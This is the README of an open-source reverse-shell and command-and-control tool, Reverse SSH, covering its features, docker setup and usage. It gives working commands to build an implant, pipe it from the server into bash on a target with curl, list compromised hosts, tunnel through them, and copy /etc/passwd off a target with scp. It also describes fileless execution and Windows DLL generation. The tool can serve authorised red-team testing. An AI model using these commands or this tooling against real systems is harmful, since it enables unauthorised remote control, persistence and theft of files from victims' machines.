Reverse SSH

(Art credit to https://www.instagram.com/smart.hedgehog.art/)

Want to use SSH for reverse shells? Now you can.

• Manage and connect to reverse shells with native SSH syntax
• Dynamic, local and remote forwarding
• Native SCP and SFTP implementations for retrieving files from your targets
• Full windows shell
• Multiple network transports, such as http, websockets, tls and more
• Mutual client & server authentication to create high trust control channels And more!

                    +----------------+                 +---------+
                    |                |                 |         |
                    |                |       +---------+   RSSH  |
                    |    Reverse     |       |         |  Client |
                    |  SSH server    |       |         |         |
                    |                |       |         +---------+
+---------+         |                |       |
|         |         |                |       |
| Human   |   SSH   |                |  SSH  |         +---------+
| Client  +-------->+                <-----------------+         |
|         |         |                |       |         |   RSSH  |
+---------+         |                |       |         |  Client |
                    |                |       |         |         |
                    |                |       |         +---------+
                    |                |       |
                    |                |       |
                    +----------------+       |         +---------+
                                             |         |         |
                                             |         |   RSSH  |
                                             +---------+  Client |
                                                       |         |
                                                       +---------+

https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1

• Reverse SSH
  • TL;DR
    • Setup
    • Basic Usage
  • Sponsors
    • Individuals
    • Companies
  • Fancy Features
    • Privileges
    • Automatic connect-back
    • Reverse shell download (client generation and in-built HTTP server)
    • Alternate Transports (HTTP/Websockets/TLS)
    • Bash autocomplete
    • Windows DLL Generation
    • SSH Subsystems
      • All
      • Linux
      • Windows
    • Windows Service Integration
    • Full Windows Shell Support
    • Webhooks
    • Tun (VPN)
    • Fileless execution (Clients support dynamically downloading executables to execute as shell)
      • Supported URI Schemes
• Help
  • Windows
    • SFTP
    • Session spawn errors (0xc0000142)
  • Server started with --insecure still has Failed to handshake
  • Foreground vs Background
• Donations, Support, or Giving Back

TL;DR

Setup

The docker release is recommended as it includes the right version of golang, and a cross compiler for windows.

# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

or docker compose:

services:
  reversessh:
    image: reversessh/reverse_ssh
    ports:
      - "3232:2222"
    environment:
      - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
      - RSSH_CONSOLE_LABEL=c2.label
      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
    volumes:
      - ./data:/data

Basic Usage

# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

All commands support the -h flag for giving help.

Then typical ssh commands work, just specify your rssh server as a jump host.

# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

Sponsors

A huge thanks to the following folk for donating to the RSSH project and making all this work possible!

Individuals

chikamobina for their generous donations!
wrighterase (ctrlzero) for their pull requests and donation!

Companies

Carapace is a New Zealand based security consultancy with an extremely talented team of folk!

Fancy Features

Privileges

The RSSH server supports very basic user privileges, where users found in the data-directory/keys (specified by --datadir) folder e.g data-directory/keys/jim will be assigned as a "user" only able to see clients that are public (found in the authorized_controllee_keys file without an owners tag, or an empty owners tag) or specifically assigned to them, e.g owners="jim".

This can be changed at run time via an user sharing access to a client they own with the access command, or a server administrator. Defaultly, any public key found in the authorized_keys file will be marked as an administrator to retain backwards compatibility. Any changes made by the access command will not persist server reboot, and this will require editing the authorized_controllee_keys file for that specific client.

Automatic connect-back

The rssh client allows you to bake in a connect back address. By default the link command will bake in the servers external address.

If you're (for some reason) manually building the binary, you can specify the environment variable RSSH_HOMESERVER to bake it into the client:

$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make